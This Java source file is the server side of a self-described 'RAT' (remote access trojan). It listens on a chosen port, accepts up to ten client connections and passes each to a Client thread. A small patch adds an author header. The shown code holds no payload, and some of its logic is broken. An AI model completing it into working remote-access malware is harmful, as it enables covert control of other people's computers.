package com.rat.hacker;

import java.net.Socket;
import java.net.ServerSocket;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.PrintWriter;

import java.util.Scanner;

import java.io.IOException;

public class Rat {
	
	private boolean isRunning = true;
	private int port = 1000;
	private Client[] clients = new Client[10];
	
	public Rat() {
		Scanner scan = new Scanner(System.in);
		System.out.println("Type in some port:");
		this.port = scan.nextInt();
		try {
			createConnection(this.port);
		} catch (Exception e) {
			e.printStackTrace(); 
		}
	}
	
	public static void main(String[] args) {
		Rat r = new Rat();
	}
	
	/*
	 * Create socket listener.
	 * @param port
	 */
	private void createConnection(int port) throws IOException {
		if (port < 1000 || port >= 1999) System.err.println("Invalid port.");
		ServerSocket server = new ServerSocket(port);
		System.out.println("[RAT] Server has started !");
		
		//
		while (isRunning) {
			System.out.println("[RAT] Waiting connection ..");
			Socket socket = server.accept();
			System.out.println("[RAT] New client has connected.");
			BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
			PrintWriter out = new PrintWriter(socket.getOutputStream());
			
			for (int i=0; i<clients.length; i++) {
				if (clients[i] == null) {
					Client c = new Client(this, i, in, out, socket);
					c.start();
					setClient(i, c);
					break;
				}
				else if (i == clients.length) {
					System.err.println("[" + i + "] There're no free slots.");
					out.println("There're no free slots.");
					out.flush();
					socket.close();
					break;
				}
			}
		}
		//
	}
	
	/*
	 * @param i
	 */
	public Client getClient(int i) {
		return clients[i];
	}
	
	/*
	 * @param i
	 * @param c
	 */
	public void setClient(int i, Client c) {
		clients[i] = c;
	}
	
}
@@ -16,24 +16,85 @@
 .hacker;%0D%0A%0D%0A
+/**%0D%0A * @author Bar771%0D%0A * https://Bar771.tumblr.com%0D%0A */%0D%0A%0D%0A
 import java.
@@ -2004,8 +2004,10 @@
 %09%7D%0D%0A%09%0D%0A%7D
+%0D%0A

Update Rat.java